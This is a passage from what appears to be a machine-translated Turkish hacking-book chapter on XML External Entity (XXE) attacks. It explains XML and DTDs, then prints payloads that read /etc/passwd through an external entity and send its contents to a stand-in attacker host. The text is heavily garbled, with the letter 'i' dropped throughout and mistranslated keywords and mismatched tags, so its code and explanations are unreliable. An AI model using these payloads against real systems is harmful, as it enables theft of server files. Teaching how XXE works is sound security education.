Açıklama
B r XML Dış Varlık (XXE) güvenl k açığı, b r uygulamanın nasıl ayrıştırılacağından yararlanılmasını çer r XML g r ş , daha özel olarak, uygulamanın dah l ed lmes n nasıl şled ğ n kullanarak
G rd ye dah l ed len har c varlıklar. Bunun nasıl kullanıldığına da r tam b r takd r kazanmak
ve potans yel , lk olarak ne gel şt r leb l r Markup'un ne olduğunu anlamamızın en y olacağını düşünüyorum.
D l (XML) ve dış varlıklardır.
Meta d l, d ğer d ller tanımlamak ç n kullanılan b r d ld r ve XML budur
dır-d r. HTML'den sonra kısmen, HTML'n n eks kl kler ne b r cevap olarak gel şt r ld , ver görüntüsünü tanımlamak ç n kullanılır , nasıl görünmes gerekt ğ ne odaklanır. Ters ne, XML, ver ler n nasıl yapılandırılacağını tanımlamak ç n kullanılır .
Örneğ n, HTML’de, <t tle> , <h1> , <table> , <p> , vb. G b et ketler n z var .
çer ğ n nasıl görüntüleneceğ n tanımlamak ç n kullanılır. <T tle> et ket sayfa en tanımlamak ç n kullanılır t tle (şok ed c ), <h1> et ketler başlıkları tanımlar, <table> et ketler satırlar hal nde ver sunar ve
sütunlar ve <p> bas t met n olarak sunulur. Buna karşılık, XML' n önceden tanımlanmış et ketler yoktur.
Bunun yer ne, XML belges n oluşturan k ş , tanımlamak ç n kend et ketler n tanımlar.
çer k sunuluyor. İşte b r örnek:
<? xml vers on = "1.0" encod ng = "UTF-8"?>
<İşler>
<İş>
<t tle> Hacker </t tle>
<telaf > 1000000 </ telaf >
<sorumluluk steğe bağlı = "1" > Web’ vurun </respons b l ty>
</ İş>
</ İşler>
Bunu okuyarak, muhtemelen XML belges n n amacını tahm n edeb l rs n z.
ş l steleme ancak b r web sayfasında sunulmuşsa bunun nasıl görüneceğ konusunda h çb r f kr n z yok.
XML' n lk satırı, kullanılacak XML sürümünü bel rten b r b ld r m başlığı ve kodlamanın türü. Bunu yazarken, XML' n 1.0 ve 1.1 olan k sürümü vardır.
1.0 le 1.1 arasındak farkların detaylandırılması, k tabın kapsamı dışındadır.
Korsanlığı etk lememel s n.
<job> et ket n kullanarak, et ket n adı şd r ancak özn tel kler yoktur. d ğer taraftan <sorumluluğu>
el, s m n tel ğ ndek steğe bağlı b r özell k le sorumluluk taşır . steğe bağlı adı ve özell k değer 1 .
Herhang b r herhang b r et ket tanımlayab ld ğ nden, açık soru daha sonra nasıl olur?
Et ketler b r şey olab l rse, b r XML belges n n nasıl ayrıştırılacağını ve kullanılacağını b l yor musunuz? Pek , geçerl XML dokümanı geçerl d r, çünkü genel XML kurallarını tak p eder (ben m ç n gerek yok)
heps n l stele ama kapanış et ket olması yukarıda bahsett ğ m b r örnekt r) belge türü tanımı (DTD). DTD buna dalmamızın tek neden .
çünkü bu, b lg sayar korsanları olarak st smarımızı sağlayacak şeylerden b r .
B r XML DTD, kullanılan et ketler ç n b r tanım belges g b d r ve
XML tasarımcısı veya yazar. Yukarıdak örnekte, benden ber tasarımcı olurdum.
şler belges n XML olarak tanımladı. B r DTD hang et ketler n bulunduğunu, hang özell kler n olduğunu tanımlayacaktır.
d ğer elementlerde vb. bulunan elementlere sah p olab l rler.
Kend DTD'ler m z oluşturab l r m, bazıları resm leşt r ld ve bunlar da dah l Gerçekten Bas t Send kasyon (RSS), genel ver kaynakları (RDF), sağlık b lg ler (HL7 SGML / XML) vb.
İşte ben m DTD dosyası yukarıdak XML' mde nasıl göründüğü:
<! ELEMENT İşler ( Meslek ) * >
<! ELEMENT İş ( Unvan , Tazm nat , Sorumluluk ) >
<! ELEMENT Başlık ( #PCDATA ) >
<! ELEMAN Telaf s ( #PCDATA ) >
<! ELEMENT Sorumluluğu (#PCDATA)>
<! ATTLIST Sorumluluk steğe bağlı CDATA "0" >
Buna bakarak, muhtemelen ne anlama geld ğ n tahm n edeb l rs n z. B z m < şler> et ket aslında b r XML! ELEMENT ve Job öğes n çereb l r. B r ş b r!
heps aynı zamanda b r Başlık, Tazm nat ve Sorumluluk çereb l r!
ve sadece (#PCDATA) le göster len karakter ver ler n çereb l r . Son olarak,! ELEMENT Sorumluluğun, varsayılan değer 0 olan, steğe bağlı b r özell ğ (! ATTLIST) steğe bağlı vardır.
Çok zor değ l m ? DTD'lere ek olarak, hala sah p olmadığımız k öneml et ket var.
d scused ,! DOCTYPE ve ! ENTITY et ketler . Bu noktaya kadar, DTD'y kışkırttım.
dosyaları b z m XML’ n dışındadır. Yukarıdak lk örneğ , XML belges n hatırlayın İk nc örnekte DTD tarafından yapılan et ket tanımlarını çerm yordu.
Ancak, DTD'y XML belges n n ç ne dah l etmek ve bunu yapmak mümkündür.
XML' n lk satırı b r <! DOCTYPE> elemanı olmalıdır. İk örneğ m z b rleşt rerek yukarıda, şuna benzeyen b r belge alırız:
Sayfa 114
XML Dış Varlığı Güvenl k Açığı 102
<? xml vers on = "1.0" encod ng = "UTF-8"?>
<! DOCTYPE İşler [
<! ELEMENT İş (Unvan, Tazm nat, Sorumluluk)>
<! ELEMENT Başlık (#PCDATA)>
<! ELEMAN Telaf s (#PCDATA)>
<! ELEMENT Sorumluluğu (#PCDATA)>
<! ATTLIST Sorumluluk steğe bağlı CDATA "0">
]>
<İşler>
<İş>
<t tle> Hacker </t tle>
<telaf > 1000000 </ telaf >
<sorumluluk steğe bağlı = "1" > Web’ vurun </respons b l ty>
</ İş>
</ İşler>
Burada İç DTD Beyanı olarak adlandırılan şeye sah b z . Hala başladığımızı fark et.
belgem z n UTF-8 le XML 1.0'a uygun olduğunu gösteren b r b ld r m başlığı le
kodlama, ancak hemen sonra, zlenmes gereken XML ç n DOCTYPE'ımızı tanımlarız. kullanma
har c b r DTD,! DOCTYPE' n <! DOCTYPE şler g b görünmes dışında benzer olurdu SİSTEM "jobs.dtd"> . XML ayrıştırıcısı daha sonra jobs.dtd dosyasının çer ğ n ayrıştırır XML dosyasını ayrıştırırken. Bu öneml d r çünkü! ENTITY et ket de benzer şek lde ele alınır.
ve sömürümüzün temel n oluşturur.
B r XML varlığı b lg ç n b r yer tutucusu g b d r. Öncek örneğ m z tekrar kullanarak, Her ş n web s tem ze l nk vermes n steseyd k, b z m ç n sıkıcı olurdu.
Her zaman adres yazınız, özell kle de URL’n z değ şeb l yorsa. Bunun yer ne, b r
! ENTITY ve ayrıştırıcıyı ayrıştırma sırasında çer ğ n alıp ekleme belgeye değer. Umarım bununla nereye g tt ğ m görürsün.
Har c b r DTD dosyasına benzer şek lde, XML dosyamızı bu f kr çerecek şek lde güncelleyeb l r z:
<? xml vers on = "1.0" encod ng = "UTF-8"?>
<! DOCTYPE İşler [
<! ELEMENT İş (Unvan, Tazm nat, Sorumluluk, Web S tes )>
<! ELEMENT Başlık (#PCDATA)>
<! ELEMAN Telaf s (#PCDATA)>
<! ELEMENT Sorumluluğu (#PCDATA)>
<! ATTLIST Sorumluluk steğe bağlı CDATA "0">
<! ELEMENT Web s tes HERHANGİ BİR>
<! ENTITY url SYSTEM "web s tes .txt">
]>
<sorumluluk steğe bağlı = "1" > Web’ vurun </respons b l ty>
<webs te> & url; </ webs te>
</ İş>
</ İşler>
Burada, devam ett ğ m ve b r Web S tes ekled ğ m göreceks n z!
(#PCDATA), HERHANGİ ekled m. Bu, Web s tes et ket n n herhang b r komb nasyonu çereb leceğ anlamına gel r ayrıştırılab l r ver . Ayrıştırıcıyı söyleyen SYSTEM n tel ğ ndek b r! ENTITY de tanımladım
webs te.txt dosyasının çer ğ n almak ç n. İşler ş md daha da netleşmel . Bunları b r araya get rmek, “webs te.txt” yer ne, ne olacağını düşünüyorsunuz?
“/ etc / passwd” dah l m ? Tahm n edeb leceğ n z g b , XML' m z ayrıştırılacak ve Hassas sunucu dosyasının çer ğ / etc / passwd çer ğ m ze dah l ed lecekt r. Fakat XML' n yazarlarıyız, pek neden bunu yapalım?
Şey, b r XXE saldırısı, mağdur b r uygulamanın dah l ed lmes n kötüye kullanab leceğ zaman mümkün olur bu tür dış varlıklar XML ayrıştırmalarında. Başka b r dey şle, uygulamanın bazı
XML beklent ler ancak ne aldıklarını doğrulamamaktadır ve bu yüzden ne aldığını ayrıştırır.
Örneğ n, b r ş tahtası çalıştırdığımı ve kayıt olmanıza ve yüklemen ze z n verd ğ m varsayalım.
XML üzer nden şler. Başvurum gel şt r l rken DTD dosyamın s ze ve
gereks n mler karşılayan b r dosya göndereceğ n z varsayalım. Tehl ken n tanınmaması
Bundan, herhang b r onay almadan aldığım şey masumca ayrıştırmaya karar verd m. Ama olmak korsan, göndermeye karar verd n:
<? xml vers on = "1.0" kodlama = "ISO-8859-1"?>
<! DOCTYPE foo [
<! ELEMENT foo ANY>
<! ENTITY xxe SYSTEM "dosyası: /// etc / passwd">
]
>
<foo> & xxe; </ foo>
Ş md b ld ğ n z g b , çözümley c m bunu alacak ve tanımlayan dah l b r DTD tanıyacaktır.
foo Belge Türü'nün kend s ne ayrıştırılab l r ver ler çereb leceğ n ve
! / Etc / passwd dosyasını okumam gereken ENTITY xxe (dosyanın kullanımı: //
Belge ayrıştırıldığında ve / etc / passwd dosyasına g den tam dosya ur yolu) & xxe;
bu dosya çer ğ ne sah p öğeler. Sonra, onu tanımlayan geçerl XML le b t r rs n z.
Sunucu b lg ler m basan <foo> et ket . Ve bu arkadaşlar, XXE'n n bu kadar tehl kel olmasının neden . Fakat bekley n, dahası var. Uygulama yanıt yazdırmadıysa, yalnızca ayrıştırılırsa
çer ğ n z. Yukarıdak örneğ kullanarak, çer k ayrıştırılır, ancak h çb r zaman ade ed lmez
Sayfa 116
XML Dış Varlığı Güvenl k Açığı 104
b ze. Pek , yerel b r dosya eklemek yer ne, b r bağlantı kurmaya karar verm şsen z Bunun g b kötü n yetl sunucu:
<? xml vers on = "1.0" kodlama = "ISO-8859-1"?>
<! DOCTYPE foo [
<! ELEMENT foo ANY>
<! ENTITY% xxe SYSTEM "dosyası: /// etc / passwd">
<! ENTITY callhome SYSTEM "www.mal c ous.com /?% Xxe;">
]
>
<foo> & callhome; </ foo>
Bunu açıklamadan önce,% 'n n yer ne%' s n almış olab l rs n z.
callhome URL's nde,% xxe ;. Bunun neden , varlığın ne zaman kullanılması gerekt ğ DTD tanımı çer s nde ve kurum ç nde değerlend r ld ğ nde
XML belges . Ş md , XML belges ayrıştırıldığında, callhome! ENTITY
/ etc / passwd dosyasının çer ğ n okuyun ve www.mal cous.com adres ne uzaktan çağrı yapın.
dosya çer ğ n URL parametres olarak gönderme. O sunucuyu kontrol ett ğ m zden, kontrol edeb l r z.
Günlükler m z ve yeter nce / / etc / passwd çer ğ ne sah p olduğunuzdan em n olab l rs n z. Web ç n oyun b tt uygulama.
Pek , s teler bunları XXE açıklarına karşı nasıl korur? Ayrıştırmayı devre dışı bırakırlar dış varlıklar